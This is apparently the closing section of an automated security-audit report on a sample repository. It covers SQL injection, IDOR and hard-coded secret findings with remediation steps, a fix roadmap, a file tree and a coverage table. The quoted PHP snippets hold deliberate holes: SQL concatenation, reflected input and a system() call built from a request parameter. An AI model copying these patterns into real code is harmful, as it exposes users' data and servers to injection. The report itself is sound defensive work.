2. Prefer auto-escaping output: `textContent`, `{{ }}`/`{{ }}` templates, `htmlspecialchars($x, ENT_QUOTES, 'UTF-8')`.
3. If HTML must be rendered (rich text), sanitize with an allowlist library (DOMPurify, sanitize-html, bleach, HTMLPurifier) at render time.
4. Validate URL schemes (`http`, `https`, `mailto` only) before putting user data in `href`/`src`.

⚠ HIGH **SEC-012** SQLI-PHP CWE-89 A03:2021

SQL built with string concatenation (PHP)

app/Http/UserController.php:5

Impact: Read, modify or delete any table (including password hashes), bypass login, and on some engines execute OS commands.

```
<?php
class UserController {
  public function show() {
    $id = $_GET['id'];
    $r = DB::select("SELECT * FROM users WHERE id = " . $id);
    echo "Hello " . $_GET['name'];
    $u = User::findOrFail($request->id);
    User::create($request->all());
    if ($password == $stored) { return true; }
```

Remediation:

1. Find every place the query string is built (the flagged line and its callers).
2. Replace concatenation/interpolation with placeholders (`?`, `%s`, `$1`, `:name`) and pass values separately.
3. For values that cannot be parameters (ORDER BY column, table name, sort direction) map user input to a fixed allowlist.
4. Give the application DB user least privilege (no DROP/ALTER/FILE, only needed tables).

⚠ HIGH **SEC-014** AUTHZ-IDOR CWE-639 CWE-862 A01:2021 API1:2023

Object loaded by client-supplied id (check ownership)

app/Http/UserController.php:7

Impact: Cross-user and cross-tenant data exposure - the most common high-impact web bug.

```
2  class UserController {
3    public function show() {
4      $id = $_GET['id'];
5      $r = DB::select("SELECT * FROM users WHERE id = " . $id);
6      echo "Hello " . $_GET['name'];
7      $u = User::findOrFail($request->id);
8      User::create($request->all());
9      if ($password == $stored) { return true; }
10     system("convert " . $_GET['f']);
```

Remediation:

1. Scope the lookup through the owner: `$user->orders()->findOrFail($id)` / `Order.objects.get(pk=id, owner=request.user)`.
2. Or authorize explicitly (`Gate::authorize('view', $order)`, policies, `@PreAuthorize`).
3. Use a global tenant scope; add a test where user B requests user A's id and expects 403/404.

⚠ HIGH **SEC-015** SEC-HARDCODED CWE-798 A07:2021

Hard-coded credential

backend/app.py:5

Impact: Account/cloud/database takeover depending on the secret's scope.

```
SECRET_KEY = "supe…"
```

Remediation:

1. Generic secret: identify which service issues it, rotate it there, and load the new value from the environment or a secret manager.
2. Search the codebase and history for the same value (`git grep`, `gitleaks detect`) - it may be duplicated.
3. ROTATE/REVOKE the secret now - assume it is compromised.
4. Move it to env vars / secret manager (Vault, AWS SM, GCP SM, Doppler, GitHub Secrets); read at runtime.

⚠ HIGH **SEC-016** SEC-DB-URL CWE-798 A07:2021

Database URL with credentials

backend/app.py:6

Impact: Account/cloud/database takeover depending on the secret's scope.

```
DB_URL = "post…"
```

Remediation:

1. Database: change the password/user NOW (`ALTER USER ... PASSWORD ...`), update the app's secret store, and restrict network access (private network / IP allow-list).
2. Review connections and recent queries/audit logs; if data may have been read, follow your breach process.
3. ROTATE/REVOKE the secret now - assume it is compromised.
4. Move it to env vars / secret manager (Vault, AWS SM, GCP SM, Doppler, GitHub Secrets); read at runtime.

4 Remediation roadmap

NOW (CRITICAL/HIGH)	THIS SPRINT	BACKLOG
42	**51**	**6**
~22.5 h	~24.4 h	~2.3 h

5 Repository structure

30 files · 108 findings

```
├── backend/  [29 · critical]
│   ├── app.py  [18 · critical]
│   ├── server.js  [9 · critical]
│   └── utils_ai.py  [2 · info]
├── web/  [22 · critical]
│   ├── uploads/  [3 · critical]
│   │   └── shell.php  [3 · critical]
│   ├── index.html  [13 · high]
│   ├── tests/  [3 · high]
│   │   └── checkout.spec.ts  [3 · high]
│   ├── public/  [2 · high]
│   │   └── robots.txt  [2 · high]
│   └── package.json  [1 · low]
├── contracts/  [10 · critical]
│   ├── Vault.sol  [9 · critical]
│   └── .env.example2  [1 · critical]
├── app/  [6 · critical]
│   └── Http/  [6 · critical]
│       └── UserController.php  [6 · critical]
├── scripts/  [2 · critical]
│   ├── setup.sh  [1 · critical]
│   └── update.sh  [1 · critical]
├── mobile/  [11 · high]
│   ├── android/  [6 · high]
│   │   └── app/  [6 · high]
│   └── ios/  [5 · high]
│       ├── App/  [1 · high]
│       └── AppUITests/  [4 · medium]
```

```
├── db/  [8 · high]
│   └── schema.sql  [8 · high]
├── frontend/  [4 · high]
│   └── src/  [4 · high]
│       └── App.jsx  [4 · high]
├── .github/  [2 · high]
│   └── workflows/  [2 · high]
│       └── deploy.yml  [2 · high]
├── config/  [1 · high]
│   └── pool.json  [1 · high]
├── package.json  [5 · medium]
├── tests/  [1 · medium]
│   └── test_app.py  [1 · medium]
├── .cursor/  [1 · info]
│   └── rules/  [1 · info]
│       └── style.mdc  [1 · info]
├── CLAUDE.md  [1 · info]
├── Dockerfile  [3]
├── infra/  [1]
│   └── main.tf  [1]
└── .env  [1]
```

6 Appendix: coverage

Coverage

covered **10** out_of_scope **7** deferred **4**

UNIT	PASS	STATUS	NOTES
source scan (regex + taint look-back)	audit-security,audit-bugs	Covered	30 files; truncated rules: none
documentation / standards / architecture	audit-code	Covered	strictness=standard
test-suite analysis (static)	audit-quality	Covered	file-name matching; coverage % not measured unless --run-tests
QA front-end + mobile (static)	audit-qa,audit-mobile-qa	Covered	mobile=android, ios
static SEO / SEM	audit-seo	Covered	templates, robots, sitemap, metadata, tracking/consent
Vercel project configuration	audit-vercel	Out of scope	vercel.json, next.config, crons, API routes, public env vars, headers, Next.js CVEs
repository hygiene (keys, history, CI/CD)	audit-security	Covered	sensitive files in git/history, remote credentials, workflow security, SECURITY.md/CODEOWNERS/dependabot/secret scanning
malware & backdoor indicators	audit-security	Covered	webshells, reverse shells, decode-and-execute, miners, stealers, install hooks, persistence, polyglots, Trojan Source (static, offline; not an antivirus)
AI traces (project finish)	audit-docs	Covered	AI comments/docs, agent & spec files, git trailers, provenance metadata, invisible characters
PWA: manifest / service worker / offline	audit-pwa	Out of scope	manifest, installability, service worker, caching, push, update flow

NOTES

- repo-fixes.sh was generated (guided repository clean-up; the tool never runs it): `bash repo-fixes.sh list`.
- fix-plan.md was generated: 124 findings in 110 groups and 6 phases (phase 0 comes first).
- cleanup-fixes.sh was generated (remove AI traces with backups and quarantine malware; the tool never runs it): `bash cleanup-fixes.sh list`.

This report covers only what is listed under “Coverage”. No findings does not prove absence of defects: automatic rules are heuristics (regex + nearby variable tracking), not full data-flow analysis. “To review” items depend on context or on facts outside the repository. Verify each fix with its test before deploying.